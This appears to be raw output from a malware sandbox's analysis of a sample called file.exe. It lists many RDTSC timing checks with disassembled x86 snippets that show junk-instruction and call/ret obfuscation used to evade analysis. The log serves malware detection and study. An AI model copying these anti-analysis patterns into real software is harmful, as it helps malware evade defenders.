Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13193D3 second address: 13193D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1317DF7 second address: 1317DFC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131DD8D second address: 131DD9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBAA4BFA4FDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D8AE6 second address: 12D8AF9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBAA4B8B5E6h 0x00000008 jne 00007FBAA4B8B5E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131D563 second address: 131D569 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131DAA8 second address: 131DAAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132022A second address: 1320245 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA507h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1320245 second address: 132024A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13207AC second address: 13207B6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBAA4BFA4F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13207B6 second address: 13207C0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBAA4B8B5ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1320866 second address: 1320876 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA4FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1320A74 second address: 1320A93 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBAA4B8B5E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBAA4B8B5F3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1320A93 second address: 1320A97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1320B86 second address: 1320B8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1320CBE second address: 1320CC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1321D91 second address: 1321D95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1321C18 second address: 1321C30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBAA4BFA503h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1321D95 second address: 1321DC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4B8B5F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FBAA4B8B5F2h 0x0000000e popad 0x0000000f push eax 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1324DED second address: 1324DF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1324DF1 second address: 1324E08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FBAA4B8B5EDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132366D second address: 1323673 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1324E08 second address: 1324E0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1323673 second address: 1323677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1325974 second address: 1325978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132634D second address: 132635E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FBAA4BFA4F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132635E second address: 1326366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1326366 second address: 13263BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007FBAA4BFA4F8h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 jmp 00007FBAA4BFA4FAh 0x00000026 push ecx 0x00000027 mov esi, dword ptr [ebp+122D1A26h] 0x0000002d pop edi 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 mov esi, ecx 0x00000034 xchg eax, ebx 0x00000035 pushad 0x00000036 push eax 0x00000037 jno 00007FBAA4BFA4F6h 0x0000003d pop eax 0x0000003e push ebx 0x0000003f pushad 0x00000040 popad 0x00000041 pop ebx 0x00000042 popad 0x00000043 push eax 0x00000044 push ebx 0x00000045 push eax 0x00000046 push edx 0x00000047 jns 00007FBAA4BFA4F6h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132560E second address: 1325624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBAA4B8B5F1h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1325624 second address: 1325629 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1329FED second address: 1329FF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1325629 second address: 132563D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FBAA4BFA4F6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pushad 0x00000012 popad 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1329FF1 second address: 1329FFB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FBAA4B8B5E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132563D second address: 1325643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132BFAF second address: 132BFEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4B8B5F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FBAA4B8B5EEh 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 jmp 00007FBAA4B8B5F8h 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132BFEF second address: 132C008 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBAA4BFA505h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C008 second address: 132C0A1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBAA4B8B5E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007FBAA4B8B5E8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 jmp 00007FBAA4B8B5F7h 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push eax 0x00000031 call 00007FBAA4B8B5E8h 0x00000036 pop eax 0x00000037 mov dword ptr [esp+04h], eax 0x0000003b add dword ptr [esp+04h], 0000001Dh 0x00000043 inc eax 0x00000044 push eax 0x00000045 ret 0x00000046 pop eax 0x00000047 ret 0x00000048 xor bx, 5F3Eh 0x0000004d push 00000000h 0x0000004f push 00000000h 0x00000051 push eax 0x00000052 call 00007FBAA4B8B5E8h 0x00000057 pop eax 0x00000058 mov dword ptr [esp+04h], eax 0x0000005c add dword ptr [esp+04h], 0000001Ah 0x00000064 inc eax 0x00000065 push eax 0x00000066 ret 0x00000067 pop eax 0x00000068 ret 0x00000069 push eax 0x0000006a push ecx 0x0000006b push ebx 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B20D second address: 132B211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B211 second address: 132B224 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBAA4B8B5EFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132CFE6 second address: 132CFEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132CFEC second address: 132D007 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBAA4B8B5EDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132D007 second address: 132D00B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132DF59 second address: 132DFDB instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBAA4B8B5E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FBAA4B8B5F8h 0x00000012 push esi 0x00000013 pushad 0x00000014 popad 0x00000015 pop esi 0x00000016 popad 0x00000017 nop 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007FBAA4B8B5E8h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 00000018h 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 jmp 00007FBAA4B8B5F3h 0x00000039 cld 0x0000003a push 00000000h 0x0000003c mov edi, dword ptr [ebp+122D2B60h] 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 push ebx 0x00000046 jmp 00007FBAA4B8B5F4h 0x0000004b pop ebx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132D2E0 second address: 132D2E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132D2E4 second address: 132D304 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FBAA4B8B5F8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132E20E second address: 132E218 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FBAA4BFA4F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132F180 second address: 132F184 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330206 second address: 133020A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132F184 second address: 132F191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133020A second address: 1330221 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA4FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133211F second address: 1332123 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132F191 second address: 132F195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330221 second address: 1330225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132F195 second address: 132F1BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA507h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FBAA4BFA4FBh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330225 second address: 133029E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4B8B5F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edi, 0C8A7400h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007FBAA4B8B5E8h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 0000001Bh 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 movzx edi, di 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d or bx, D527h 0x00000042 mov eax, dword ptr [ebp+122D088Dh] 0x00000048 or dword ptr [ebp+122D1E92h], ecx 0x0000004e push FFFFFFFFh 0x00000050 ja 00007FBAA4B8B5ECh 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133029E second address: 13302A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13340DE second address: 1334102 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBAA4B8B5E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBAA4B8B5F8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1334102 second address: 133411A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA4FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133411A second address: 133411E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133411E second address: 1334122 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133234A second address: 1332357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007FBAA4B8B5E6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1331284 second address: 1331288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1331288 second address: 133128E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133128E second address: 13312B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA502h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBAA4BFA500h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133963A second address: 133963E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13312B7 second address: 13312BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1336276 second address: 133628B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBAA4B8B5F1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133741B second address: 1337450 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA500h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FBAA4BFA502h 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jp 00007FBAA4BFA4F6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1337450 second address: 1337454 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13413A5 second address: 13413AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13413AF second address: 13413BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13454F6 second address: 1345521 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FBAA4BFA4FFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jbe 00007FBAA4BFA4F6h 0x00000014 jmp 00007FBAA4BFA4FCh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1345521 second address: 134552A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134552A second address: 1345548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007FBAA4BFA4F6h 0x0000000d jmp 00007FBAA4BFA501h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1346CF2 second address: 1346CF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1346EA1 second address: 1346EA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1346F96 second address: 1346FBF instructions: 0x00000000 rdtsc 0x00000002 jno 00007FBAA4B8B5E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jbe 00007FBAA4B8B5EEh 0x00000015 jg 00007FBAA4B8B5E8h 0x0000001b mov eax, dword ptr [eax] 0x0000001d jl 00007FBAA4B8B603h 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1346FBF second address: 1346FE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA505h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E2A44 second address: 12E2A5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4B8B5F2h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134BEC7 second address: 134BECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134BECD second address: 134BEDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FBAA4B8B5E6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134BEDA second address: 134BEE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FBAA4BFA4F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134BEE4 second address: 134BEF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C036 second address: 134C04A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA4FFh 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C04A second address: 134C050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C2ED second address: 134C32B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBAA4BFA501h 0x00000008 jmp 00007FBAA4BFA502h 0x0000000d jnp 00007FBAA4BFA4F6h 0x00000013 popad 0x00000014 push edx 0x00000015 jmp 00007FBAA4BFA4FEh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C5BD second address: 134C5C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FBAA4B8B5E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C5C7 second address: 134C5D7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBAA4BFA4F6h 0x00000008 jc 00007FBAA4BFA4F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C704 second address: 134C70E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FBAA4B8B5E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C70E second address: 134C712 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C712 second address: 134C718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C718 second address: 134C723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C723 second address: 134C729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C729 second address: 134C72F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
